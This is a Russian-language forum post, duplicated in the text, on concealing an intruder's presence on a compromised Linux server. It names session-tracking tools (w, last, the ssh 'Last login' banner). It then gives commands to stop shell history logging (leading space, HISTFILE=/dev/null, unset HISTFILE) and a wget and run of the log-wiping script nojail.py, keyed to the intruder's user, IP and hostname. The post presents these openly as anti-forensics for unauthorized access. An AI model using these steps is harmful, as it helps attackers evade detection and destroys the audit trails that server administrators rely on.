Добрый день уважаемые читатели замечательного форума codeby.net
В статье речь пойдет о сокрытии своего присутствия на чужих серверах ОС семейства Linux. Если вам удалось каким либо образом получить доступ к чужому серверу, вам бы наверное хотелось продлить немного свою жизнь и присутствие на нем. В этой статье не пойдет речь о способах закрепления в системе, здесь я всего лишь постараюсь осветить элементарные меры предосторожности при работе с сервером, чтобы зашедший на хост после вас администратор не заметил что то неладное или какие то подозрительные следы и активность.
Первым делом хотелось бы обсудить консольные команды, с помощью которых можно узнать об удаленных сеансах и подключениях к серверу.
"w" - unix-утилита, показывающая информацию о работающих в данный момент на машине пользователях и о их процессах. Для каждого пользователя выводятся следующие записи: регистрационное имя, название терминала, удалённая машина, время регистрации в системе, время простоя, JCPU, PCPU и командную строку его текущего процесса.
Видим, что пользователь root на данный момент подключен к нашему хосту и ему доступен bash терминал.
Если утилита “w” показывает текущих пользователей в системе, а мы хотим узнать список всех когда-либо подключившихся пользователей, то на этот случай существует утилита "last".
"last" - unix-утилита, отображающая список последних терминальных сессий с выборкой по пользователю или терминалу. Все события при этом упорядочены по времени.
Существуют утилиты "who" и "lastlog", они похожи с некоторыми ограничениями на представленные, поэтому их рассмотрение мы оставим.
Также не стоит забывать немало важный факт, что удаленные администраторы, при последующих своих подключениях к серверам могут обратить свое внимание на приветствие утилиты ssh и поле “Last login:”, в котором отображается время и IP адрес последнего внешнего подключения к серверу и если они будут отличаться от привычных администратору, то вам не избежать проверки или отката используемой вами системы.
Все события по удаленным подключениям находятся в системных логах и чистить их вручную довольно не удобно. Поэтому ниже мы рассмотрим инструмент, позволяющий это делать с помощью скриптов.
Мы рассмотрели события, связанные с удаленным подключением, но что касается выполнения команд и как не оставлять их факта выполнения в системном логе? Любой администратор подключившись к системе и выполнив команду "history" может увидеть, что с его сервера происходят какие то аномальные действия, например запуск утилит для сканирования внешних узлов сети Интернет. Это вызовет у него массу негодования и он немедленно начнет расследование и первым делом сменит свой пароль к хосту или установит соединение с сервером только через SSH Key.
Опытные пользователи, возможно, знают, что история запущенных команд сохраняется в файле ~/.bash_history. Перечислим некоторые способы, чтобы избежать их логирования:
Первый способ - просто набирайте перед каждой командой пробел.
– тогда команда не попадет ~/.bash_history
Второй – после подключения к серверу и до ввода своих команд, наберите:
Третий – если вы забыли выполнить второй пункт, то выполните:
Тогда все команды введенные в рамках вашей сессии не попадут в ~/.bash_history
И наконец, как я и обещал, представляю вашему вниманию скрипт, который выполнит за вас всю грязную работу и сотрет все ваши следы с системы. Для того чтобы им воспользоваться достаточно выполнить следующее:
и запустить с нужными параметрами, описание которых вы найдете в Readme
После чего наша активность удалилась из всех файлов логов
Всем спасибо за внимание! Будьте осторожны и не забывайте предохраняться)).
В статье речь пойдет о сокрытии своего присутствия на чужих серверах ОС семейства Linux. Если вам удалось каким либо образом получить доступ к чужому серверу, вам бы наверное хотелось продлить немного свою жизнь и присутствие на нем. В этой статье не пойдет речь о способах закрепления в системе, здесь я всего лишь постараюсь осветить элементарные меры предосторожности при работе с сервером, чтобы зашедший на хост после вас администратор не заметил что то неладное или какие то подозрительные следы и активность.
Первым делом хотелось бы обсудить консольные команды, с помощью которых можно узнать об удаленных сеансах и подключениях к серверу.
"w" - unix-утилита, показывающая информацию о работающих в данный момент на машине пользователях и о их процессах. Для каждого пользователя выводятся следующие записи: регистрационное имя, название терминала, удалённая машина, время регистрации в системе, время простоя, JCPU, PCPU и командную строку его текущего процесса.
Видим, что пользователь root на данный момент подключен к нашему хосту и ему доступен bash терминал.
Если утилита “w” показывает текущих пользователей в системе, а мы хотим узнать список всех когда-либо подключившихся пользователей, то на этот случай существует утилита "last".
"last" - unix-утилита, отображающая список последних терминальных сессий с выборкой по пользователю или терминалу. Все события при этом упорядочены по времени.
Существуют утилиты "who" и "lastlog", они похожи с некоторыми ограничениями на представленные, поэтому их рассмотрение мы оставим.
Также не стоит забывать немало важный факт, что удаленные администраторы, при последующих своих подключениях к серверам могут обратить свое внимание на приветствие утилиты ssh и поле “Last login:”, в котором отображается время и IP адрес последнего внешнего подключения к серверу и если они будут отличаться от привычных администратору, то вам не избежать проверки или отката используемой вами системы.
Все события по удаленным подключениям находятся в системных логах и чистить их вручную довольно не удобно. Поэтому ниже мы рассмотрим инструмент, позволяющий это делать с помощью скриптов.
Мы рассмотрели события, связанные с удаленным подключением, но что касается выполнения команд и как не оставлять их факта выполнения в системном логе? Любой администратор подключившись к системе и выполнив команду "history" может увидеть, что с его сервера происходят какие то аномальные действия, например запуск утилит для сканирования внешних узлов сети Интернет. Это вызовет у него массу негодования и он немедленно начнет расследование и первым делом сменит свой пароль к хосту или установит соединение с сервером только через SSH Key.
Опытные пользователи, возможно, знают, что история запущенных команд сохраняется в файле ~/.bash_history. Перечислим некоторые способы, чтобы избежать их логирования:
Первый способ - просто набирайте перед каждой командой пробел.
Код:
[space][command]
Второй – после подключения к серверу и до ввода своих команд, наберите:
Код:
export HISTFILE=/dev/null
Третий – если вы забыли выполнить второй пункт, то выполните:
Код:
unset HISTFILE
unset SAVEHIST
Тогда все команды введенные в рамках вашей сессии не попадут в ~/.bash_history
И наконец, как я и обещал, представляю вашему вниманию скрипт, который выполнит за вас всю грязную работу и сотрет все ваши следы с системы. Для того чтобы им воспользоваться достаточно выполнить следующее:
Код:
wget https://raw.githubusercontent.com/JusticeRage/freedomfighting/master/nojail.py
python nojail.py --user [пользователь от которого вы подключались] --ip [с которого вы подкючались] --hostname [имя хоста с которым вы работали]
После чего наша активность удалилась из всех файлов логов
Всем спасибо за внимание! Будьте осторожны и не забывайте предохраняться)).